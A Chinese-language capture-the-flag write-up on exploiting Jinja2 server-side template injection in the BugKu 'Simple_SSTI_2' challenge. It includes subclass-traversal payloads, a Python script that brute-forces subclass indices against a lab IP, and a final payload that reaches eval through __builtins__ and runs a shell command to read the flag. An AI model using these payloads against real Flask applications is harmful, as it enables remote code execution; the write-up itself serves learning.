BugKu Simple_SSTI_2
这个题很简单,主要是记录一下,做题的原理:
打开环境,提示我们用flag传参,然后我们需要判断是什么模板:
这里有一张图片,可以帮助我们轻松判断是什么模板类型:这个图片找不到出处了,这里就不@作者了。
我们进行通过传参来判断到底是什么类型的模板,这里我们已经判断出是Jinjia2引擎,然后我们就需要构造payload看一下配置文件:
{{config}}
这里有时出题人会将flag藏到这里,这一关没有放到这里,我们接着就是要按照一般解题思路进行解题:
变量 -> 对象 -> 基类 ->子类遍历 -> 全局变量
在这个流程种找到我们想要的模块或者是函数。
首先我们先获取object对象:
#获取object对象:
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
然后获取所有有用的class:
''.__class__.__mro__[2] .__subclasses__()
{}.__class__.__bases__[0].__subclasses__()
().__class__.__bases__[0].__subclasses__()
[].__class__.__bases__[0].__subclasses__()
{{ [].__class__.__bases__.__subclasses__()}}
{{ ''.__class__.__mro__()[1].__subclasses__()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
然后就需要我们去找到重载过的__init__类:
在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。
也就是说我们只有找到了被重载过的__init__类才能找到__globals__属性,然后才能继续下一步。这里我写了一个脚本来判断:
import requests
import time
import html
for i in range(0,300):
time.sleep(0.06)
payload="{{''.__class__.__mro__[1].__subclasses__()[%s]}}" % i
url='http://117.72.52.127:17751/?flag='
r=requests.get(url+payload)
if "os._wrap_close" in r.text: #//这里可以是os._wrap_close也可以是catch_warnings,这样就会输出对应的索引
print(r.text)
print(i)
break
这里的脚本就是要寻找那些有回显的或者可以执行命令的类,大多数利用的是os._wrap_close
这个类,也有catch_warnings.这样我们就能获取到对应的索引,然后这里这个题我用到的是catch_warnings。找到对应的索引是177,然后构造payload为:
?flag={{''.__class__.__mro__[1].__subclasses__()[177].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fla*').read()")}}
这里找到索引后,调用它的__init__方法进行初始化类,然后再调用__globals__获取到方法内以字典的形式返回的方法、属性等。
这里就可以去利用__builtins__模块
,它里面有eval()
等函数,我们可以也利用它来进行RCE。
最终构造的payload就是上面的payload。执行过后就可以得到flag。
这是一些比较好的SSTI的文章,我也从这里学到了很多:
FLask SSTI从零到入门 - 跳跳糖
详解Flask SSTI 利用与绕过技巧V2 - FreeBuf网络安全行业门户